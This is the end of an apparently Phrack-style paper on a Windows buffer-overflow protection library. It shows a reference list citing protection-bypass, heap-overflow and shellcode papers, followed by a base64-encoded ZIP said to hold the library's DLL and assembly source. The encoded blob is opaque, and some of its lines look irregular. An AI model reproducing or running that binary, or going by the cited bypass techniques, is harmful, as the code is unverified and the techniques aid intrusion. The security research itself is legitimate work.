    - msdn.microsoft.com/library/ en-us/memory/base/isbadwriteptr.asp

[4] - Detours library
    - research.microsoft.com/sn/detours/

[5] - Bypassing 3rd Party Windows Buffer Overflow Protection
    - http://www.phrack.org/phrack/62/p62-0x05_Bypassing_Win_
      BufferOverflow_Protection.txt

[6] - Defeating w2k3 stack protection
      http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.
      pdf

[7] - Gaining important datas from PEB under NT boxes
      http://vx.netlux.org/29a/29a-6/29a-6.224

[8] - IA32 Manuals
    - http://developer.intel.com/design/Pentium4/documentation.htm

[9] - An In-Depth Look into the Win32 Portable Executable File Format
      (PART2)
    - http://msdn.microsoft.com/msdnmag/issues/02/03/PE2/default.aspx

[10]- Windows Heap Overflows
    - http://opensores.thebunker.net/pub/mirrors/blackhat/presentations/
      win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.pdf

[11]- Technological Step Into Win32 Shellcodes
    - http://www.astalavista.com//data/w32shellcodes.txt

[12]- EPO: Entry-Point Obscuring
    - http://vx.netlux.org/29a/29a-4/29a-4.223

--[X. Code

Library binary and source code attached to paper. Also stored on
http://pb.specialised.info .

--- START OF BASE64 CHUNK - PROTTY LIBRARY PACKAGE ---------------

<++> PROTT-PACKAGE.ZIP.BASE64
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
rU5vLLNUb9m2+82avW/te3t//ZH3/H3xW3
O67GYy9sfm7fe5/zTAxifxeYVMVjrypaJfS03y89o3JIVNaJlTzoPctd0v+2
rX+M9e1Xc4fQqkI/r4VbeAAeDcEZYBTwGQk+pQHu5SCG3jqvft1eLXgcQ4oA
c8ncmBjnWztITQq62RQREi1mslM4AvpKZpFT3jvP5Cnw6GazFUBMpAMtHVQQ
pBVxThV/6DJ3e00GuEyWCoW3pY0KhYI8sNMXkY6Z6DzZ6Zh5nHzBo+N9EjQP
kLs3pzrIzanzQ0g0P2S3wkmkwyOvg1z5me4KudT33Fky/PLKIlJY9doe0rHu
lTfIW9OqrpArz2n3ks9/+VYkmf3hjmWkJ3eCG7nhtcBZpL0lMI88v8rnAKmd
vOkEqV1ZdpDcvVt7kPTa6nCQafMTT5Ew3QdkZ+zuzeTxOYe0ZNoeeQmpPfj8
LvKAtmMV2bFK20E2X1ilJYlv1vmQPs13W8lW6JLHgtvvknXB7fNJcfrGOtIh
rnNIT9RzpR0M/pHau8PouXT5ksVphcTSBae/ti2TNjI4E997qUtpc5wriYaD
VyeDrmEqdB+CIwD6Xqw411bnZ2tA5VwEnAOclXJsdYStzgQDgfkdMAVCDj5D
wVEIxyTQHwstvwGZ3Jw6tSYwwGUHBl6tzFb3GhY/CCNfJ3A9nKsl2NN1PJvg
cM8o3BfA4Z7f4Im1OXyXKewRwcceEU6PnL7G2+oanf6V4wbUTNhFAxjfjlye
N2HLfrZ5tlxpo/QMXSQMri7jFk7Ovt1ZA1fFVJoSCvNj+IKKJ2FV+eY4B7Wm

ij+HDnq6y9ZjfNz7bKU8IFYgqHgFzsZ2CyoO4rZLUIF/UIk9KajAsehqkTkz
QWsGv6olv/ySh8ceP4rHzUB7CGiMHMGBNmuy1xfu1WWBnbuqTlmTR+I+0bkr
FCbfapVznb99SBvtnVVfTLxk+rLH2Ol9tsvmZxR22QjjuC6bySjossmM7pdz
4VKtlI+yd1XKR9uvm4wcvt1uMiK+/R/gdaX8Pu/NT+NvPsw3HVTt5TwAd/Gn
G7tMpzj267j3jekUYf+nKY4wXjKdcrN/yiqNUQinxxJZRi9TWYDD6CY4fHNU
1ef5kzwaTbcbqWBTGeJSU2PdjN6mU54sfqzQw3RbRo023TZR/PzH3JGRZ2pz
u3wX/ulMbRx7V/5jfER5Ycg1gBi/MrVx7Red/4I4/HQGv6vZRLlVyUfXdDV7
Urzaa9DKsGAUdCBytQXQQuhq82uq5AE1gsOX/Erg7H01EGkMGwMdT9wZW1Nt
DKSTvTp3VRsJOnkkRBRmsZZxraU4oI5Js2VQR02ax/IklitYns7yLODD9H+F
0uclphHwh7/zIdLkCemJixb+1j4N069HwbL+fi70Z8uGxulAboJjIxzb4dgD
R4Ps58/1ZdOqoiKE/DmQq+MCIV6lMuAiAc3iDCpn0AZOkl6pStKsMCgNayHH
nM11Zukq7qDyEz0+qNYYpv8GSRTO7xl7j2AYT4VDBIcAUpzH2K/tiqGGpNay
1RH7EUmO8wuS39TzYfrFBPuKP0nZK4oUzxEvFj8h3iDeLH5V/IbYV5IuKZDU
S4Kkj0ibRD2iuyK+eJy4WLxQsk6yXfql9JZ0ZHhE+OvSG1IiPCe8I9we7h9x
OPz98LERD0UII7ZH7InwjYyKzIvcENkQ+WWkX1RsFBlFRVmiHoksi3w98kzk
3cgpUYujdFGbZ748s27msZnvzbwwE7EfnWJ/RKIsUY4oX6QV1YgOiJpFp0QX
RF+JvhO5iSNFsSIf8ShxvDhHXCtuEH8rjpboJJHiVPEqcbn4afFxMV9CShol
b0p6JEppkdQgXR/eJu2WzgwvCz8afiNcGJEdsSmiNeJORFikMnJX5CeRI6Ji
oppmtM4IiZ4WnR63JC43Lj+uKM4Q99tuzDAN0/8+/QtQSwMEFAAAAAgAj4rB
MvuuLWqWAAAA1AAAACgAAABQUk9UVC1QQUNLL3Byb3R0eS1jdXJyZW50L2Jp
bi9SRUFETUUudHh0XU5RCsIwFPsv9A65gBW8gbgJwtQPHfgnXfdkD2Zb2jfm
bu9wH4qBQCAhSUxBZDJt36Nhb9Ok1eofWmm1C8/IPbUYWbowCOpyj46GxFnY
ZVj/tU7XoqrMTNArhiTI5ISDR5zHFmm0OjwwhQGj9QIJYO8S2Uzrlhbxk85I
5JYDkI7Qc5PmqwbH7e1+PBd1VV60yvQp2pg3UEsDBAoAAAAAABZYwTIAAAAA
AAAAAAAAAAhAAAAUFJPVFQtUEFDSy9wcm90dHktY3VycmVudC9zb3VyY2Uv
UEsDBBQAAAAIAFlheTJDRARvYgAAAI4AAAAsAAAAUFJPVFQtUEFDSy9wcm90
dHktY3VycmVudC9zb3VyY2UvY29tcGlsZS5iYXRLSc1RKCjKLymp1EvJyeHl
SkHw85OyeLlKEotzjY0U9HMNgdgYiCug0jo61kDZnMy8bKC0bkhBioJuYiJM
DqYkM7cgv6jE2EgvJzNJB2ZNapoOL1eAa3hQsKuznrO/L5L9AFBLAwQUAAAA
CAAuWnkyLwFFIKEFAAA3FAAALwAAAFBST1RULVBBQ0svcHJvdHR5LWN1cnJl
bnQvc291cmNlL2RlYnVnX3Byb3QuaW5jrZdbj5tGFICfseT/MFJf2krZsN6b
00RNMYx3aViggJ3dvCAM2EZibQJs4vTXdy4Ml5mxrUjFsmxxvnPm3OYwvAeu
5wTBMzBt3VoYEMxNC4I3P3WNR+9/TuGYFeYL+vkb6gF4A+Iyjeo0AasfwM32
dQlm0S6LwIcV/rko8K2/Ni9Rll/E+5c/sYltXRd/vH1brC6qIo2zKM+qNLnI
duv9/+Um/hiz+1B37MC0F1DBF/xnoaiqeom+k20n9xwrnHlQ+8SYa8pMOUZX
OOCmAeCTDt3AdOzQdoLwQbMNCxoNOqXoZYMG0Hs0bS2AYfCAljQ4i1cChtKs
Q9/nuOstDlBHFjokNOBsgZxZQjto6KuWoatJKMl41Lk/FBP5JZabwYlFbhpC
ugR1ejyyHCyLJn4dxjyFoG7CBqhH3imPVxjOh4t7FM27sYjz3S7e+TmO9oH
/Qg1nUSxNB1LwzdYV8QquxBFO5g0heuYdgDaiylMqcLVQMHQAi14dmH4aPqa
Zd7bj10ITGMy0PBRpBZEIUNX4cDrAah5gBW8gbgJwtQPHfgnXfdkD2Zb2jfm
nFDb8R41K3Rc6KG+5BQSUcFcmgYMZ8/hF+g5HJ4KuGnDJ00PQg/6Cyvg8LUE
X6K0GNQbMf3vVEHDWUJvbjmfFY68FEg/0PRPof4A9U8cOxFYlES52WE5UeFP
JuTdtYAf83fYWK5nLhGOGn2hS9JwO4Btx26mmDZDrdIKBjqTmxM6/a3cNh5J
V8/dnrF1wsVFq2aYvuv4pujw5HZL95lvfoGhMw+n6tX0DjXFvYka2yPDK/36
imYhxeotemIkYbzf1emhJtuVpGI8ig+hTu/O82hTEZHx2fEMBQBVUd43KmCN
pfhJgqOET2xytCsSS0apKoKFJF29bkCZbrKqTkvwi9qgl+fRywadnEcnDXp1
Hr1q0Nvz6G2D3p1H7/rJQRVGuw2NVDLL2iyX+/zzvkwEW+viFTSJJqxfR/Vr
JaJEGESbIxJYlvvSWa+rtD4m9dM8jet9KYqNqI6O6mJhX5UTe00WNNNRlRDx7
DiCSHulOkLwW4Ff1N5qXUrWLA4445S13+fThPR7stMv8dHMvNuqmaovBqLlI
rUUKilQqUoZIJX2q8xUVHN5Dj+Y8ycTOSZNsaB5WMqriqdVBQq0OHJXIqISn
YhkV81Qko6KDNOzmzNa4WshcLTjzmYzKCiH3umQscRWC8umVkrHFZ1u2bCUu
64v2qr4tagWi4wEesY/w0fHQeUHzTR31wByfAprB3Yzab1/DWVSlWpKUKTJE
jzaKu3RMAyhqd+ABBNXyfB9HdbbfYSWe5hC33Ndoc2IIMJcZhTfnfudn/7ZG
qJjJydZjoqFqZ1YiDH4UMrUTecCpAvSBJD1IY7pLV1wkWbidZ3m3Cj3ooz8q
YHLkYtzLZo9okYA8/GQEQ/IC59hZmy/Rpl3NIrkegsl3A499E703YcfaeUl7
ZIDuWlJIPb84ddBCtcx7tZatnxeoWmXNtVDPaMuRUOzo5WQ468Uui/dJy/Tt
nKoQ6/nuxOJBnerS6qFHHjzEaYF7U0cL9DaSAkj1WjHZuJJIlPEolNlvkZ6N
Jh/tBqFi+/VllZZuVKIsoA1bHdPGNSpfyD4a+iAPUAx+kBsxAV4as+e1aO+D
it7Pk+/zrKxqfRvt4kGuqKNHFmKOcG9pvB95wvZRbw+RrUokrPeNPO/apBOf
7PgOG3a7IgK9jpQtwzpRadtQPRoYi3uB3iroYEEX+ctm8vHeJelWuFr0zfcA
6fJEPliZucO9I7MxlqQsh/BbuqvZbmgKrDZAM8bM/rGuFdL5IJMtmuCZPx9F
N5h77sJ/0ELaFKBzMAAs3BAaJhhetIYfGwIgxD+NIGLmniP8s8Ts6RxhnCX0
s4R2lBBzRbPYvx/iwy0WofcscP37FOf4P1BLAwQUAAAACAC9c4kye3r6p/wB
AABdBAAAKwAAAFBST1RULVBBQ0svcHJvdHR5LWN1cnJlbnQvc291cmNlL215
X2RsbC5pbmONVFFvmzAQfkfiP1h52lQWRZk2VWyaSLpqjdQ2VZq3KEIHvhA2
g5HtNGy/fmdDcLZs2lDAcPfd3Xf32Rm/u37fhMG4khwF2wkwkYRAGZZ2LA0d2
LOu3U2jKMRmsPclBiJZVkCvJ2jDA1qCqWRs3ShLAep255pWFNxr3jK4Oz9hx
D2bKZRiw/hKSQmhNEvmCKiV4uoeaC1Qe45L+A1PJF7eibqINPa4m1/utdw91
L3PEHtVK1SXhbUS3dzQH7drgR6k4a4xiOx1vCLK9ZHCJiYiPx51G84GtUBup
kD3f3rE3w5cU3FmGFsNAnU/xf+jK5i9ULjG/BJ64OaVt0/qHl7qTCnqRaeUZ

a6NJGEDsBXeRHLNDMT1FRqUzCQNThQXDjIbhBlr6IqNX+Wv2VEqiOoe6BPYx
s8u4saakqKAU41xWn0Y+pO2zTHpCvtkNlbhKH1BrKHAu29nW80vyPebfTtxQ
qTSnfR9VujhvsGoYAg21d4fB1xqtY+hMFxF7mKeLm+Xj7Wq1XBHCxrSl+X0c
SYEmpQOUAueqL1tFcDbf4VDdS+D3ZaZAfZ95P/R9EqEB+QXNE523GaWkLs+6
82PuKtHbH4SD2MnvnKS6PmT2PZK7nUZjAedq0l8DB9PJPVrfLZ4Z/T7P1jPa
pTfrxfJxZPcAobpJcSFIrTruQn8CUEsDBAoAAAAAAJ2MwTIAAAAAAAAAAAAA
AAAmAAAAUFJPVFQtUEFDSy9wcm90dHktY3VycmVudC9zb3VyY2UvcHJvdC9Q
SwMEFAAAAAgAMUpPLJnanyiBAgAAbAoAAC8AAABQUk9UVC1QQUNLL3Byb3R0
eS1jdXJyZW50L3NvdXJjZS9wcm90L0FERTMyLkFTSKWVXW+iQBSG7038D+cS
41phSlqyrttQwaapLob2ontl0BlbGr6WD0Ob3f++DAgygBJ1bkZh3oc577wH
up0RyIp6jWCLrnjU7XQ7k6Wq65oO1UH+ROk8ENjrIxiPTWdrWCYG11u7mFCG
rCi6cJDBZ0N4Lxh/cxFqE6GSyDY+YUUgCgiGwLQjKzQc4kaB9ZnjxDacWNnD
TJs81TRVkbQXvRtbAqnI88nGjCnj5rZOqDIEfs/AZGNg7H8HBD8Gg58gppCb
dghiIdgIDRaiq4tWiMhXqklE8a4a4KZoOL3uUdaz+tDKkqosKtobI//6vdDV
6eNrI4KjRfepff3sHPppAf300ekWFPlFbkmVwPOVE6WillQhRnQ8VRTXkiqx
tofnx/s276SyiK5PbAuIE+ZJroeqLE/KLslpmgLzi0B/nIcr33o9VmUMYjA0
TyUM/Usxc03R50eLERlMsj6OY304p+J7WWlxQmLEkRMFkWHBxvVhoYL6qg6V
2YyStMVEU9TqyZZI1JNqHpGTv6WA46fgol7WJrPjm0INKJ9YRmgmPwz/LbKT
kwLuI46zVnnRGvquxBNZ3tp1Qt+1IN4QHzifhN8+bK9XKnI5e0ANJKFymCP4
tyunImBEtzVR6q7rhaZtfiU1uU5eRB1TUKSGR3c72AyMwF4GoR+tw9Lt2oVC
lim4HkA6FYhdbvdL8Sqb72oIMJ2hGyV0GhaCywia2UsQFnHYpRgfRACkhHwe
j5ODvEo+jBEpcBvLeDsdZzoFoOjscwFFT58L8IlXceSwqY2AgLAWnAzY9e+l
AHQ+wHaxb1/kgbm6zAO2NUoACXDkAXfXawGwjXEKAA4M4uCAvgIO3f8PUEsD
BBQAAAAIADFNTyzJ7s0eiQYAALEeAAAyAAAAUFJPVFQtUEFDSy9wcm90dHkt
Y3VycmVudC9zb3VyY2UvcHJvdC9BREUzMkJJTi5BU0mtWdtu3DYQfc9X6LFB
biQlUZKDPOi2RYGiBYr0uYjRdcFYrSIWxT9+moONUNxl6NdFNkH2mvycG5n
hkP6ffHm631evC/6aS5dURR/u7eGfn7T//zxzffzj/MP/Uf56k4fPf9/JL+
/s/LwnZd98aZZd3p+fmPu3fv/jWf7x+Pb3/9/f7t0/F52e1r6vbp4Vi6X748
/nssks/xz7/ws7bNq7J1r6z1RfG++PChsMbWK+z++Nvj09365fHp8fnuRXH2
ebgvjDen16YdlqEZl8FVPBzoa1kuw2hOWWhN0Dj4dhkGvww9ocxEgwLF2sOB
JBzCstdmanmTQxlms1AARlnbNYSnYSIjxiFMZKEQGAfoik36mnYiq2u3AwOC
l2WvTdWTrzqe0GyNyyDmzGs8XPFwdBhs9SUbrNnqaXKC1vMyzBNvUg8cnKnO
Q6eS15Zk6wwLIWvkiYUhWWhLtvbknL5NtG5o6EiTvtmjBIlxtBY7Ra2DOYrC
npb1g0SI5M+keg8O+x031WTcBNJaco4INBhoJ2fzUFPx2nZkqy19rRxPzEMe
Onpe68XXoH9DE2YM5NTdBIMdre2QoMJBTHhFakOTQ5OQHoPfTuRtpWh0Pkmf
wKaSE6HqFFtnWZsmzSibLPmeT/UxyU2sReZXpMnQBdV1N0E5ELGiTRrxNRuc
hYI+vQgMVWLifGv22LRZIYCgNe059WFW53DILcr3eeSkMZJ0y295D9PmB3Lz
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
